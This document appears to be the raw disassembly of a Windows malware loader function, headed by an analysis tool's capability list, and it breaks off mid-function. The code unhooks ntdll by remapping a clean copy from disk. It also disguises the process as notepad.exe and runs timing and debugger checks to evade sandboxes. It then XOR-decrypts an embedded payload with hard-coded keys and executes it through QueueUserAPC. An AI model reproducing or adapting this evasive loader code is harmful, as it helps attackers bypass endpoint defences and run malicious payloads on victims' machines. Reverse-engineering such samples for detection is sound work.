Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8e8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x890], ecx
mov qword [rbp + 0x898], rdx
call fcn.140002ae0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
jne 0x14000152d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x1400017d7
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x7d0]
mov r10, qword [rbp + 0x858]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x7c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov qword [rbp + 0x7a0], rax
mov word [rbp + 0x856], 0
jmp 0x1400017bf
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7a0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x856]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400017ae
mov dword [rbp + 0x5f8], 0
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x850], 0x118
jmp 0x14000171c
sub dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0xe
jg 0x140001715
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5f8]
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x856]
add eax, 1
mov word [rbp + 0x856], ax
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x856], ax
jb 0x140001667
mov ecx, 0xd84
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x848], 0
mov dword [rbp + 0x844], 0
mov dword [rbp + 0x84c], 0
jmp 0x1400018ae
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000187d
add dword [rbp + 0x848], 1
jmp 0x1400018a7
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400018a7
add dword [rbp + 0x844], 1
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x360
jle 0x14000180b
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5fc], 0
mov dword [rbp + 0x840], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x838], xmm0
add dword [rbp + 0x840], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x840]
movsd xmm0, qword [0x140006658]
addsd xmm0, xmm1
mov rax, qword [0x140006660]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003b70
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x840]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006658]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x838]
addsd xmm0, xmm1
movsd qword [rbp + 0x838], xmm0
cmp dword [rbp + 0x840], 0x1ac
jle 0x1400018ed
movsd xmm1, qword [rbp + 0x838]
movsd xmm0, qword [0x140006668]
mulsd xmm0, xmm1
movsd qword [rbp + 0x838], xmm0
mov rax, qword [rbp + 0x7e0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5fc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x788]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x608]
add rax, 0x3c
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov ecx, 0xb28
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x834], 0
jmp 0x140001a65
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
movsd xmm1, qword [0x140006670]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x164
jle 0x140001a27
mov dword [rbp + 0x834], 0
jmp 0x140001acf
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x778]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x164
jle 0x140001a7d
mov rax, qword [rbp + 0x780]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x770], rax
cmp qword [rbp + 0x770], 0
je 0x140001b46
mov rax, qword [rbp + 0x770]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov ecx, 0
call rax
mov dword [rbp + 0x830], eax
cmp dword [rbp + 0x830], 0xffffffff
je 0x140002a16
mov dword [rbp + 0x764], 0x3e5
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x754], eax
mov eax, dword [rbp + 0x764]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x750], eax
mov eax, dword [rbp + 0x750]
sub eax, dword [rbp + 0x754]
cmp eax, 0x3b3
jbe 0x140002a16
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
jne 0x140002a16
mov ecx, 0x5e3
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x5e3
jne 0x140002a16
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x5f4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5f4]
mov r8, qword [rbp + 0x738]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5f4]
cmp eax, 1
je 0x140002a16
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x72c], eax
mov ecx, 0x227
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x728], eax
mov eax, dword [rbp + 0x728]
sub eax, dword [rbp + 0x72c]
cmp eax, 0x1f5
jbe 0x140002a16
mov dword [rbp + 0x724], 0x25c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x70c], eax
mov eax, dword [rbp + 0x724]
mov r8, qword [rbp + 0x718]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x708], eax
mov eax, dword [rbp + 0x708]
sub eax, dword [rbp + 0x70c]
cmp eax, 0x22a
jbe 0x140002a16
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002a16
mov rax, qword [rbp + 0x700]
mov edx, 0x4c3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6fc], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x140001ea8
mov rax, qword [rbp + 0x6f0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov ecx, 0
call rax
mov dword [rbp + 0x82c], eax
cmp dword [rbp + 0x82c], 0xffffffff
je 0x140002a16
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov ecx, 0
call rax
mov dword [rbp + 0x6dc], eax
cmp dword [rbp + 0x6dc], 0xffffffff
je 0x140002a16
lea rax, [rbp + 0xd0]
lea rdx, [0x140006130]
mov ecx, 0xa4
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
movsd xmm0, qword [0x140006678]
movsd qword [rbp + 0x820], xmm0
movsd xmm0, qword [0x140006680]
movsd qword [rbp + 0x6d0], xmm0
jmp 0x140001f78
movsd xmm0, qword [rbp + 0x6d0]
mov rax, qword [rbp + 0x820]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003b70
movq rax, xmm0
mov qword [rbp + 0x820], rax
movsd xmm0, qword [0x140006688]
comisd xmm0, xmmword [rbp + 0x820]
ja 0x140001f4f
mov rax, qword [rbp + 0x7d8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c8]
mov r8d, 0
mov edx, 0x520
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov r9, qword [rbp + 0x6c0]
mov r8d, 0x520
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x6b0]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0x520
mov rcx, rax
call r9
mov dword [rbp + 0x81c], 0
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x814], 0
movabs rax, 0x8059cbe566695974
movabs rdx, 0x65b5141280b9dbfd
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x66a465c2a70c9d9d
movabs rdx, 0x232ce8d17b0ecca9
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xdbe28ca4fa8f6bc2
movabs rdx, 0x5b2539ba7a8d26b7
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xa4898ceb318cb7ff
movabs rdx, 0x1c82796cc1038171
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x5cc3ee5d6a9deab8
movabs rdx, 0xdee3ecd609761af6
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x57308960270db64a
movabs rdx, 0xb90ae33d4088c072
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x3e9abd3ff6cad6b7
movabs rdx, 0x29ebb23b438971
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x13ff59869a9d2ebb
movabs rdx, 0x5363c61ac5923e10
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xf4c97afadb88e6f1
movabs rdx, 0x2a30274a969583f1
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x3896b59b25d32a30
movabs rdx, 0x42f8310e61132e
mov qword [rbp - 0x22], rax
mov qword [rbp - 0x1a], rdx
jmp 0x14000251c
cmp dword [rbp + 0x818], 0x2c
jne 0x1400022c2
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax - 0x10], dl
mov dword [rbp + 0x818], 0
mov ecx, 0xca0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x810], 0
jmp 0x140002247
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x648]
add rax, rdx
movsd xmm1, qword [0x140006670]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x193
jle 0x140002209
mov dword [rbp + 0x810], 0
jmp 0x1400022b1
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x648]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x193
jle 0x14000225f
jmp 0x140002515
mov dword [rbp + 0x804], 0
mov dword [rbp + 0x664], 0x26b
mov dword [rbp + 0x660], 0x135
mov eax, dword [rbp + 0x664]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x80c], 0
jmp 0x140002333
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rdx, rax
mov eax, dword [rbp + 0x80c]
mov dword [rdx], eax
add dword [rbp + 0x80c], 1
mov eax, dword [rbp + 0x80c]
cmp eax, dword [rbp + 0x660]
jl 0x14000230a
mov dword [rbp + 0x80c], 1
jmp 0x1400023c5
mov eax, dword [rbp + 0x80c]
mov dword [rbp + 0x808], eax
jmp 0x14000239c
mov edx, dword [rbp + 0x80c]
mov eax, dword [rbp + 0x808]
add edx, eax
mov eax, dword [rbp + 0x80c]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x808]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x808], 1
mov eax, dword [rbp + 0x660]
sub eax, dword [rbp + 0x80c]
mov edx, dword [rbp + 0x80c]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x808], eax
jle 0x14000235b
add dword [rbp + 0x80c], 1
mov eax, dword [rbp + 0x80c]
cmp eax, dword [rbp + 0x660]
jl 0x14000234d
cmp dword [rbp + 0x664], 2
jle 0x140002409
mov eax, dword [rbp + 0x804]
lea edx, [rax + 1]
mov dword [rbp + 0x804], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x80c], 1
jmp 0x14000246d
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002466
mov eax, dword [rbp + 0x80c]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x804]
lea edx, [rax + 1]
mov dword [rbp + 0x804], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x80c], 1
mov eax, dword [rbp + 0x80c]
cmp eax, dword [rbp + 0x660]
jl 0x140002415
mov dword [rbp + 0x654], 2
mov dword [rbp + 0x800], 0
mov dword [rbp + 0x80c], 0
jmp 0x1400024c9
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400024c2
add dword [rbp + 0x800], 1
add dword [rbp + 0x80c], 1
mov eax, dword [rbp + 0x80c]
cmp eax, dword [rbp + 0x654]
jl 0x14000249b
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax - 0x10], dl
add dword [rbp + 0x818], 1
add dword [rbp + 0x81c], 1
mov eax, dword [rbp + 0x81c]
cmp eax, 0x6e
jbe 0x1400021ad
mov dword [rbp + 0x81c], 0
mov ecx, 0xc48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x7fc], 0
jmp 0x1400025a0
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006670]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movsd xmm1, qword [0x140006658]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x188
jle 0x140002552
mov dword [rbp + 0x7fc], 0
jmp 0x14000260a
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7fc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6a0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x188
jle 0x1400025b8
jmp 0x1400026ba
cmp dword [rbp + 0x814], 0x6e
jne 0x14000266e
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x814], 0
jmp 0x1400026b3
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x814], 1
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x51f
jle 0x14000261b
mov rax, qword [rbp + 0x6b0]
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x684], 0
mov dword [rbp + 0x7f0], 0
mov ecx, 0x41a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x7f8], 0
jmp 0x14000280a
mov dword [rbp + 0x7f4], 0
jmp 0x1400027f6
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7f8]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x678]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7f4]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x678]
add rdx, rax
mov eax, dword [rbp + 0x7f4]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400027ef
add dword [rbp + 0x7f0], 1
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x3b
jle 0x14000275d
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x45
jle 0x14000274e
cmp dword [rbp + 0x7f0], 0x834
jne 0x14000282d
mov dword [rbp + 0x684], 1
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x698]
mov r9, qword [rbp + 0x690]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0xb9c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x7ec], 0
jmp 0x1400028cc
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7ec]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x2e6
jle 0x14000287f
mov dword [rbp + 0x7ec], 0
jmp 0x1400029e4
mov dword [rbp + 0x66c], 0
jmp 0x1400029c6
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x66c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x1400029bf
mov eax, dword [rbp + 0x66c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x668], eax
mov eax, dword [rbp + 0x7ec]
cdqe
add rax, 1
lea rdx, [rax*4]
